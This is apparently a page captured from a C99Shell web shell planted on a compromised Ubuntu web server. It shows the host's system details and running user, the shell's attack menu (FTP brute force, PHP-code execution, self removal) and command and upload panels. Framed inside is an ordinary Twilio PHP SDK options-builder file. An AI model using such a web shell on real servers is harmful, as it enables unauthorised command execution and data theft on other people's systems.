!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/twilio/sdk/src/Twilio/Rest/Conversations/V1/   drwxr-xr-x
Free 12.96 GB of 57.97 GB (22.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AddressConfigurationOptions.php (21.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This code was generated by
 * \ / _    _  _|   _  _
 * | (_)\/(_)(_|\/| |(/_  v1.0.0
 * /       /
 */

namespace Twilio\Rest\Conversations\V1;

use 
Twilio\Options;
use 
Twilio\Values;

abstract class 
AddressConfigurationOptions {
    
/**
     * @param string $type The type of address configuration.
     * @return ReadAddressConfigurationOptions Options builder
     */
    
public static function read(string $type Values::NONE): ReadAddressConfigurationOptions {
        return new 
ReadAddressConfigurationOptions($type);
    }

    
/**
     * @param string $friendlyName The human-readable name of this configuration.
     * @param bool $autoCreationEnabled Enable/Disable auto-creating conversations
     *                                  for messages to this address
     * @param string $autoCreationType Type of Auto Creation.
     * @param string $autoCreationConversationServiceSid Conversation Service for
     *                                                   the auto-created
     *                                                   conversation.
     * @param string $autoCreationWebhookUrl For type `webhook`, the url for the
     *                                       webhook request.
     * @param string $autoCreationWebhookMethod For type `webhook`, the HTTP method
     *                                          to be used when sending a webhook
     *                                          request.
     * @param string[] $autoCreationWebhookFilters The list of events, firing
     *                                             webhook event for this
     *                                             Conversation.
     * @param string $autoCreationStudioFlowSid For type `studio`, the studio flow
     *                                          SID where the webhook should be
     *                                          sent to.
     * @param int $autoCreationStudioRetryCount For type `studio`, number of times
     *                                          to retry the webhook request
     * @return CreateAddressConfigurationOptions Options builder
     */
    
public static function create(string $friendlyName Values::NONEbool $autoCreationEnabled Values::NONEstring $autoCreationType Values::NONEstring $autoCreationConversationServiceSid Values::NONEstring $autoCreationWebhookUrl Values::NONEstring $autoCreationWebhookMethod Values::NONE, array $autoCreationWebhookFilters Values::ARRAY_NONEstring $autoCreationStudioFlowSid Values::NONEint $autoCreationStudioRetryCount Values::NONE): CreateAddressConfigurationOptions {
        return new 
CreateAddressConfigurationOptions($friendlyName$autoCreationEnabled$autoCreationType$autoCreationConversationServiceSid$autoCreationWebhookUrl$autoCreationWebhookMethod$autoCreationWebhookFilters$autoCreationStudioFlowSid$autoCreationStudioRetryCount);
    }

    
/**
     * @param string $friendlyName The human-readable name of this configuration.
     * @param bool $autoCreationEnabled Enable/Disable auto-creating conversations
     *                                  for messages to this address
     * @param string $autoCreationType Type of Auto Creation.
     * @param string $autoCreationConversationServiceSid Conversation Service for
     *                                                   the auto-created
     *                                                   conversation.
     * @param string $autoCreationWebhookUrl For type `webhook`, the url for the
     *                                       webhook request.
     * @param string $autoCreationWebhookMethod For type `webhook`, the HTTP method
     *                                          to be used when sending a webhook
     *                                          request.
     * @param string[] $autoCreationWebhookFilters The list of events, firing
     *                                             webhook event for this
     *                                             Conversation.
     * @param string $autoCreationStudioFlowSid For type `studio`, the studio flow
     *                                          SID where the webhook should be
     *                                          sent to.
     * @param int $autoCreationStudioRetryCount For type `studio`, number of times
     *                                          to retry the webhook request
     * @return UpdateAddressConfigurationOptions Options builder
     */
    
public static function update(string $friendlyName Values::NONEbool $autoCreationEnabled Values::NONEstring $autoCreationType Values::NONEstring $autoCreationConversationServiceSid Values::NONEstring $autoCreationWebhookUrl Values::NONEstring $autoCreationWebhookMethod Values::NONE, array $autoCreationWebhookFilters Values::ARRAY_NONEstring $autoCreationStudioFlowSid Values::NONEint $autoCreationStudioRetryCount Values::NONE): UpdateAddressConfigurationOptions {
        return new 
UpdateAddressConfigurationOptions($friendlyName$autoCreationEnabled$autoCreationType$autoCreationConversationServiceSid$autoCreationWebhookUrl$autoCreationWebhookMethod$autoCreationWebhookFilters$autoCreationStudioFlowSid$autoCreationStudioRetryCount);
    }
}

class 
ReadAddressConfigurationOptions extends Options {
    
/**
     * @param string $type The type of address configuration.
     */
    
public function __construct(string $type Values::NONE) {
        
$this->options['type'] = $type;
    }

    
/**
     * Filter the address configurations by its type. This value can be one of: `whatsapp`, `sms`.
     *
     * @param string $type The type of address configuration.
     * @return $this Fluent Builder
     */
    
public function setType(string $type): self {
        
$this->options['type'] = $type;
        return 
$this;
    }

    
/**
     * Provide a friendly representation
     *
     * @return string Machine friendly representation
     */
    
public function __toString(): string {
        
$options \http_build_query(Values::of($this->options), ''' ');
        return 
'[Twilio.Conversations.V1.ReadAddressConfigurationOptions ' $options ']';
    }
}

class 
CreateAddressConfigurationOptions extends Options {
    
/**
     * @param string $friendlyName The human-readable name of this configuration.
     * @param bool $autoCreationEnabled Enable/Disable auto-creating conversations
     *                                  for messages to this address
     * @param string $autoCreationType Type of Auto Creation.
     * @param string $autoCreationConversationServiceSid Conversation Service for
     *                                                   the auto-created
     *                                                   conversation.
     * @param string $autoCreationWebhookUrl For type `webhook`, the url for the
     *                                       webhook request.
     * @param string $autoCreationWebhookMethod For type `webhook`, the HTTP method
     *                                          to be used when sending a webhook
     *                                          request.
     * @param string[] $autoCreationWebhookFilters The list of events, firing
     *                                             webhook event for this
     *                                             Conversation.
     * @param string $autoCreationStudioFlowSid For type `studio`, the studio flow
     *                                          SID where the webhook should be
     *                                          sent to.
     * @param int $autoCreationStudioRetryCount For type `studio`, number of times
     *                                          to retry the webhook request
     */
    
public function __construct(string $friendlyName Values::NONEbool $autoCreationEnabled Values::NONEstring $autoCreationType Values::NONEstring $autoCreationConversationServiceSid Values::NONEstring $autoCreationWebhookUrl Values::NONEstring $autoCreationWebhookMethod Values::NONE, array $autoCreationWebhookFilters Values::ARRAY_NONEstring $autoCreationStudioFlowSid Values::NONEint $autoCreationStudioRetryCount Values::NONE) {
        
$this->options['friendlyName'] = $friendlyName;
        
$this->options['autoCreationEnabled'] = $autoCreationEnabled;
        
$this->options['autoCreationType'] = $autoCreationType;
        
$this->options['autoCreationConversationServiceSid'] = $autoCreationConversationServiceSid;
        
$this->options['autoCreationWebhookUrl'] = $autoCreationWebhookUrl;
        
$this->options['autoCreationWebhookMethod'] = $autoCreationWebhookMethod;
        
$this->options['autoCreationWebhookFilters'] = $autoCreationWebhookFilters;
        
$this->options['autoCreationStudioFlowSid'] = $autoCreationStudioFlowSid;
        
$this->options['autoCreationStudioRetryCount'] = $autoCreationStudioRetryCount;
    }

    
/**
     * The human-readable name of this configuration, limited to 256 characters. Optional.
     *
     * @param string $friendlyName The human-readable name of this configuration.
     * @return $this Fluent Builder
     */
    
public function setFriendlyName(string $friendlyName): self {
        
$this->options['friendlyName'] = $friendlyName;
        return 
$this;
    }

    
/**
     * Enable/Disable auto-creating conversations for messages to this address
     *
     * @param bool $autoCreationEnabled Enable/Disable auto-creating conversations
     *                                  for messages to this address
     * @return $this Fluent Builder
     */
    
public function setAutoCreationEnabled(bool $autoCreationEnabled): self {
        
$this->options['autoCreationEnabled'] = $autoCreationEnabled;
        return 
$this;
    }

    
/**
     * Type of Auto Creation. Value can be one of `webhook`, `studio` or `default`.
     *
     * @param string $autoCreationType Type of Auto Creation.
     * @return $this Fluent Builder
     */
    
public function setAutoCreationType(string $autoCreationType): self {
        
$this->options['autoCreationType'] = $autoCreationType;
        return 
$this;
    }

    
/**
     * Conversation Service for the auto-created conversation. If not set, the conversation is created in the default service.
     *
     * @param string $autoCreationConversationServiceSid Conversation Service for
     *                                                   the auto-created
     *                                                   conversation.
     * @return $this Fluent Builder
     */
    
public function setAutoCreationConversationServiceSid(string $autoCreationConversationServiceSid): self {
        
$this->options['autoCreationConversationServiceSid'] = $autoCreationConversationServiceSid;
        return 
$this;
    }

    
/**
     * For type `webhook`, the url for the webhook request.
     *
     * @param string $autoCreationWebhookUrl For type `webhook`, the url for the
     *                                       webhook request.
     * @return $this Fluent Builder
     */
    
public function setAutoCreationWebhookUrl(string $autoCreationWebhookUrl): self {
        
$this->options['autoCreationWebhookUrl'] = $autoCreationWebhookUrl;
        return 
$this;
    }

    
/**
     * For type `webhook`, the HTTP method to be used when sending a webhook request.
     *
     * @param string $autoCreationWebhookMethod For type `webhook`, the HTTP method
     *                                          to be used when sending a webhook
     *                                          request.
     * @return $this Fluent Builder
     */
    
public function setAutoCreationWebhookMethod(string $autoCreationWebhookMethod): self {
        
$this->options['autoCreationWebhookMethod'] = $autoCreationWebhookMethod;
        return 
$this;
    }

    
/**
     * The list of events, firing webhook event for this Conversation. Values can be any of the following: `onMessageAdded`, `onMessageUpdated`, `onMessageRemoved`, `onConversationUpdated`, `onConversationStateUpdated`, `onConversationRemoved`, `onParticipantAdded`, `onParticipantUpdated`, `onParticipantRemoved`, `onDeliveryUpdated`
     *
     * @param string[] $autoCreationWebhookFilters The list of events, firing
     *                                             webhook event for this
     *                                             Conversation.
     * @return $this Fluent Builder
     */
    
public function setAutoCreationWebhookFilters(array $autoCreationWebhookFilters): self {
        
$this->options['autoCreationWebhookFilters'] = $autoCreationWebhookFilters;
        return 
$this;
    }

    
/**
     * For type `studio`, the studio flow SID where the webhook should be sent to.
     *
     * @param string $autoCreationStudioFlowSid For type `studio`, the studio flow
     *                                          SID where the webhook should be
     *                                          sent to.
     * @return $this Fluent Builder
     */
    
public function setAutoCreationStudioFlowSid(string $autoCreationStudioFlowSid): self {
        
$this->options['autoCreationStudioFlowSid'] = $autoCreationStudioFlowSid;
        return 
$this;
    }

    
/**
     * For type `studio`, number of times to retry the webhook request
     *
     * @param int $autoCreationStudioRetryCount For type `studio`, number of times
     *                                          to retry the webhook request
     * @return $this Fluent Builder
     */
    
public function setAutoCreationStudioRetryCount(int $autoCreationStudioRetryCount): self {
        
$this->options['autoCreationStudioRetryCount'] = $autoCreationStudioRetryCount;
        return 
$this;
    }

    
/**
     * Provide a friendly representation
     *
     * @return string Machine friendly representation
     */
    
public function __toString(): string {
        
$options \http_build_query(Values::of($this->options), ''' ');
        return 
'[Twilio.Conversations.V1.CreateAddressConfigurationOptions ' $options ']';
    }
}

class 
UpdateAddressConfigurationOptions extends Options {
    
/**
     * @param string $friendlyName The human-readable name of this configuration.
     * @param bool $autoCreationEnabled Enable/Disable auto-creating conversations
     *                                  for messages to this address
     * @param string $autoCreationType Type of Auto Creation.
     * @param string $autoCreationConversationServiceSid Conversation Service for
     *                                                   the auto-created
     *                                                   conversation.
     * @param string $autoCreationWebhookUrl For type `webhook`, the url for the
     *                                       webhook request.
     * @param string $autoCreationWebhookMethod For type `webhook`, the HTTP method
     *                                          to be used when sending a webhook
     *                                          request.
     * @param string[] $autoCreationWebhookFilters The list of events, firing
     *                                             webhook event for this
     *                                             Conversation.
     * @param string $autoCreationStudioFlowSid For type `studio`, the studio flow
     *                                          SID where the webhook should be
     *                                          sent to.
     * @param int $autoCreationStudioRetryCount For type `studio`, number of times
     *                                          to retry the webhook request
     */
    
public function __construct(string $friendlyName Values::NONEbool $autoCreationEnabled Values::NONEstring $autoCreationType Values::NONEstring $autoCreationConversationServiceSid Values::NONEstring $autoCreationWebhookUrl Values::NONEstring $autoCreationWebhookMethod Values::NONE, array $autoCreationWebhookFilters Values::ARRAY_NONEstring $autoCreationStudioFlowSid Values::NONEint $autoCreationStudioRetryCount Values::NONE) {
        
$this->options['friendlyName'] = $friendlyName;
        
$this->options['autoCreationEnabled'] = $autoCreationEnabled;
        
$this->options['autoCreationType'] = $autoCreationType;
        
$this->options['autoCreationConversationServiceSid'] = $autoCreationConversationServiceSid;
        
$this->options['autoCreationWebhookUrl'] = $autoCreationWebhookUrl;
        
$this->options['autoCreationWebhookMethod'] = $autoCreationWebhookMethod;
        
$this->options['autoCreationWebhookFilters'] = $autoCreationWebhookFilters;
        
$this->options['autoCreationStudioFlowSid'] = $autoCreationStudioFlowSid;
        
$this->options['autoCreationStudioRetryCount'] = $autoCreationStudioRetryCount;
    }

    
/**
     * The human-readable name of this configuration, limited to 256 characters. Optional.
     *
     * @param string $friendlyName The human-readable name of this configuration.
     * @return $this Fluent Builder
     */
    
public function setFriendlyName(string $friendlyName): self {
        
$this->options['friendlyName'] = $friendlyName;
        return 
$this;
    }

    
/**
     * Enable/Disable auto-creating conversations for messages to this address
     *
     * @param bool $autoCreationEnabled Enable/Disable auto-creating conversations
     *                                  for messages to this address
     * @return $this Fluent Builder
     */
    
public function setAutoCreationEnabled(bool $autoCreationEnabled): self {
        
$this->options['autoCreationEnabled'] = $autoCreationEnabled;
        return 
$this;
    }

    
/**
     * Type of Auto Creation. Value can be one of `webhook`, `studio` or `default`.
     *
     * @param string $autoCreationType Type of Auto Creation.
     * @return $this Fluent Builder
     */
    
public function setAutoCreationType(string $autoCreationType): self {
        
$this->options['autoCreationType'] = $autoCreationType;
        return 
$this;
    }

    
/**
     * Conversation Service for the auto-created conversation. If not set, the conversation is created in the default service.
     *
     * @param string $autoCreationConversationServiceSid Conversation Service for
     *                                                   the auto-created
     *                                                   conversation.
     * @return $this Fluent Builder
     */
    
public function setAutoCreationConversationServiceSid(string $autoCreationConversationServiceSid): self {
        
$this->options['autoCreationConversationServiceSid'] = $autoCreationConversationServiceSid;
        return 
$this;
    }

    
/**
     * For type `webhook`, the url for the webhook request.
     *
     * @param string $autoCreationWebhookUrl For type `webhook`, the url for the
     *                                       webhook request.
     * @return $this Fluent Builder
     */
    
public function setAutoCreationWebhookUrl(string $autoCreationWebhookUrl): self {
        
$this->options['autoCreationWebhookUrl'] = $autoCreationWebhookUrl;
        return 
$this;
    }

    
/**
     * For type `webhook`, the HTTP method to be used when sending a webhook request.
     *
     * @param string $autoCreationWebhookMethod For type `webhook`, the HTTP method
     *                                          to be used when sending a webhook
     *                                          request.
     * @return $this Fluent Builder
     */
    
public function setAutoCreationWebhookMethod(string $autoCreationWebhookMethod): self {
        
$this->options['autoCreationWebhookMethod'] = $autoCreationWebhookMethod;
        return 
$this;
    }

    
/**
     * The list of events, firing webhook event for this Conversation. Values can be any of the following: `onMessageAdded`, `onMessageUpdated`, `onMessageRemoved`, `onConversationUpdated`, `onConversationStateUpdated`, `onConversationRemoved`, `onParticipantAdded`, `onParticipantUpdated`, `onParticipantRemoved`, `onDeliveryUpdated`
     *
     * @param string[] $autoCreationWebhookFilters The list of events, firing
     *                                             webhook event for this
     *                                             Conversation.
     * @return $this Fluent Builder
     */
    
public function setAutoCreationWebhookFilters(array $autoCreationWebhookFilters): self {
        
$this->options['autoCreationWebhookFilters'] = $autoCreationWebhookFilters;
        return 
$this;
    }

    
/**
     * For type `studio`, the studio flow SID where the webhook should be sent to.
     *
     * @param string $autoCreationStudioFlowSid For type `studio`, the studio flow
     *                                          SID where the webhook should be
     *                                          sent to.
     * @return $this Fluent Builder
     */
    
public function setAutoCreationStudioFlowSid(string $autoCreationStudioFlowSid): self {
        
$this->options['autoCreationStudioFlowSid'] = $autoCreationStudioFlowSid;
        return 
$this;
    }

    
/**
     * For type `studio`, number of times to retry the webhook request
     *
     * @param int $autoCreationStudioRetryCount For type `studio`, number of times
     *                                          to retry the webhook request
     * @return $this Fluent Builder
     */
    
public function setAutoCreationStudioRetryCount(int $autoCreationStudioRetryCount): self {
        
$this->options['autoCreationStudioRetryCount'] = $autoCreationStudioRetryCount;
        return 
$this;
    }

    
/**
     * Provide a friendly representation
     *
     * @return string Machine friendly representation
     */
    
public function __toString(): string {
        
$options \http_build_query(Values::of($this->options), ''' ');
        return 
'[Twilio.Conversations.V1.UpdateAddressConfigurationOptions ' $options ']';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0069 ]--